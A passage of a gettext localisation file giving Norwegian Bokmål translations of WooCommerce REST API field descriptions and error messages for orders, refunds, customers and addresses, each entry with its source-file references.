#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1569
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:529
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:720
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:812
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1566
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1787
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1879
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:110
msgid "Tax total."
msgstr "Avgifter totalt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:446
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1342
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1490
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1555
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:515
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:706
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:798
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1553
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1773
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1865
#: src/RestApi/Routes/V4/Orders/Schema/AbstractLineItemSchema.php:96
msgid "Line taxes."
msgstr "Linjens avgifter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:440
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1337
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1484
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1550
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:509
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:700
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:792
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1547
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1767
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1859
#: src/RestApi/Routes/V4/Orders/Schema/OrderFeeSchema.php:67
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:106
#: src/RestApi/Routes/V4/Orders/Schema/OrderShippingSchema.php:66
msgid "Line total tax (after discounts)."
msgstr "Linjens totale avgift (etter rabatter)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:434
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1332
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1479
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1545
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:503
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:695
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:787
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1542
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1762
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1854
#: src/RestApi/Routes/V4/Orders/Schema/OrderFeeSchema.php:62
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:101
#: src/RestApi/Routes/V4/Orders/Schema/OrderShippingSchema.php:61
msgid "Line total (after discounts)."
msgstr "Linjens totalsum (etter rabatter)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:428
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1327
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:497
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1536
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:95
msgid "Line subtotal tax (before discounts)."
msgstr "Linjens delsum-avgift (før rabatter)"
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:422
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1322
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:491
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1531
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:90
msgid "Line subtotal (before discounts)."
msgstr "Linjens delsum (før rabatter)"
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:416
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1316
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:579
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1627
#: src/Admin/API/Reports/Products/Controller.php:170
#: src/Admin/API/Reports/Variations/Controller.php:197
msgid "Product price."
msgstr "Produktpris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:410
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1310
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:485
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1526
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:85
msgid "Tax class of product."
msgstr "Produktets avgiftsklasse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:404
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1305
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:479
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1521
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:74
msgid "Quantity ordered."
msgstr "Antall bestilt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:398
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1300
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:473
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1516
msgid "Variation ID, if applicable."
msgstr "Variant-ID, hvis gjeldende."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:380
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1283
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1752
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-top-sellers-v1-controller.php:152
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:99
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:461
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1501
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1713
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:875
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1175
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1181
#: src/Admin/API/Reports/Products/Controller.php:164
#: src/Admin/API/Reports/Stock/Controller.php:378
#: src/Admin/API/Reports/Variations/Controller.php:191
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:215
#: src/StoreApi/Schemas/V1/ItemSchema.php:77
#: src/StoreApi/Schemas/V1/ProductSchema.php:61
msgid "Product name."
msgstr "Produktnavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:374
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1277
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1411
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1463
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1523
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1594
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:455
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:596
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:674
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:765
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1495
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1663
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1741
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1832
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1930
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:41
#: src/RestApi/Routes/V4/Orders/Schema/OrderFeeSchema.php:40
#: src/RestApi/Routes/V4/Orders/Schema/OrderItemSchema.php:46
#: src/RestApi/Routes/V4/Orders/Schema/OrderShippingSchema.php:40
#: src/RestApi/Routes/V4/Orders/Schema/OrderTaxSchema.php:40
msgid "Item ID."
msgstr "Produkt-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:366
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1270
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:447
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1488
#: src/StoreApi/Schemas/V1/OrderSchema.php:121
msgid "Line items data."
msgstr "Produklinjens data."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:361
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:405
msgid "Reason for refund."
msgstr "Grunnen for refusjonen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:356
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:400
msgid "Refund amount."
msgstr "Refusjonsbeløp."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:350
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:388
msgid "The date the order refund was created, in the site's timezone."
msgstr "Dato da ordrerefusjonen ble laget, i nettstedets tidssone."
#: includes/wc-order-functions.php:785
msgid "An error occurred while attempting to create the refund using the payment gateway API."
msgstr "En feil oppsto når du forsøkte å opprette en refusjon ved bruk av API-et for betalingsløsningen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:308
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:306
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:70
msgid "Cannot create order refund, please try again."
msgstr "Kan ikke opprette ordrerefusjon. Vennligst prøv igjen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:291
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:287
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:50
msgid "Refund amount must be greater than zero."
msgstr "Refusjonsbeløp må være større enn null."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:287
msgid "Order is invalid"
msgstr "Ordren er ugyldig"
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:133
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:205
msgid "Invalid order refund ID."
msgstr "Ugyldig refusjon-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:186
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:226
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:268
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:301
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:127
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:39
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:201
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:283
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:79
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-refunds-controller.php:46
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:140
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:171
#: includes/wc-core-functions.php:150 includes/wc-order-functions.php:573
#: includes/wc-order-functions.php:1273
#: src/Internal/Fulfillments/OrderFulfillmentsRestController.php:173
#: src/Internal/Fulfillments/OrderFulfillmentsRestController.php:593
msgid "Invalid order ID."
msgstr "Ugyldig ordre-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:418
msgid "Shows/define if the note is only for reference or for the customer (the user will be notified)."
msgstr "Velg hvorvidt notatet kun er for referanse, eller for kunden (kunden vil bli varslet)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:413
msgid "Order note."
msgstr "Ordrenotat."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:407
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:135
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:134
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:58
msgid "The date the order note was created, in the site's timezone."
msgstr "Dato da ordrenotatet ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:295
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:470
msgid "Webhooks do not support trashing."
msgstr "Webhooks kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:233
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:86
msgid "Cannot create order note, please try again."
msgstr "Kan ikke opprette ordrenotat. Vennligst prøv igjen."
#: includes/data-stores/abstract-wc-order-item-type-data-store.php:170
msgid "Invalid order item."
msgstr "Ugyldig ordrelinje."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:1032
msgid "Limit result set to resources with a specific role."
msgstr "Begrens resultat til ressurser med en gitt rolle."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:1026
msgid "Limit result set to resources with a specific email."
msgstr "Begrens resultat til ressurser med en gitt e-post."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:902
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:290
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:186
msgid "List of shipping address data."
msgstr "Liste over fratmetodedata."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:895
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1146
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:283
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1355
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:179
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:236
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:309
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:366
msgid "Phone number."
msgstr "Telefonnummer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:889
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1140
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:277
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1349
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:173
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:303
msgid "Email address."
msgstr "E-postadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:884
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:947
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:272
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:335
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:168
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:231
msgid "ISO code of the country."
msgstr "Landets ISO kode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:879
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:942
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1130
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1193
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:267
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:330
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1339
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1402
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:163
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:226
#: src/Admin/API/Reports/Customers/Controller.php:235
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:293
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:356
msgid "Postal code."
msgstr "Postnummer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:874
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:937
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1125
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1188
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:262
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:325
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1334
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1397
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:158
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:221
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:288
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:351
msgid "ISO code or name of the state, province or district."
msgstr "ISO kode eller navn for stat, provins eller distrikt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:869
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:932
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1120
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1183
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:655
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:257
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:320
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1329
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1392
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:153
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:216
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:283
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:346
msgid "City name."
msgstr "Poststed."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:864
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:927
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1115
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1178
msgid "Address line 2."
msgstr "Adresselinje 2."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:859
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:922
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1110
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1173
msgid "Address line 1."
msgstr "Adresselinje 1."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:854
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:917
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1105
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1168
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:242
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:305
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1314
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1377
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:138
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:201
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:268
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:331
msgid "Company name."
msgstr "Firmanavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:849
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:912
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1100
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1163
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:237
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:300
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1309
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1372
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:133
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:196
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:263
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:326
msgid "Last name."
msgstr "Etternavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:844
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:907
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1095
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1158
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:232
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:295
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1304
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1367
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:128
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:191
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:258
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:321
msgid "First name."
msgstr "Fornavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:839
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:227
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:123
msgid "List of billing address data."
msgstr "Liste over fraktadresser."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:833
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:360
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:249
msgid "Avatar URL."
msgstr "Avatarens nettadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:827
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:354
msgid "Total amount spent."
msgstr "Totalt beløp handlet for."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:821
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:348
msgid "Quantity of orders made by the customer."
msgstr "Antall ordre fra kunden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:807
msgid "Last order ID."
msgstr "Siste ordres id."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:801
msgid "Last order data."
msgstr "Siste ordres data."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:796
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:222
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:118
msgid "Customer password."
msgstr "Kundens passord."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:788
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:214
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:110
msgid "Customer login name."
msgstr "Kundens brukernavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:780
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:200
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:96
msgid "Customer last name."
msgstr "Kundens etternavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:772
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:192
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:88
msgid "Customer first name."
msgstr "Kundens fornavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:766
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:186
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:82
msgid "The email address for the customer."
msgstr "Kundens e-postadresse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:174
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:70
msgid "The date the customer was last modified, in the site's timezone."
msgstr "Dato for siste endring av kunden, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:162
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:58
msgid "The date the customer was created, in the site's timezone."
msgstr "Dato da kunden ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:84
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:48
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:80
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:748
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:81
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:401
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:87
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:344
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:81
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:981
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:75
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:196
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:90
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:487
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-categories-v1-controller.php:174
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:92
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:549
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-shipping-classes-v1-controller.php:94
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-tags-v1-controller.php:94
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:84
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1746
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:305
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:67
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:634
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:67
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:226
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:88
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:630
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:87
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:156
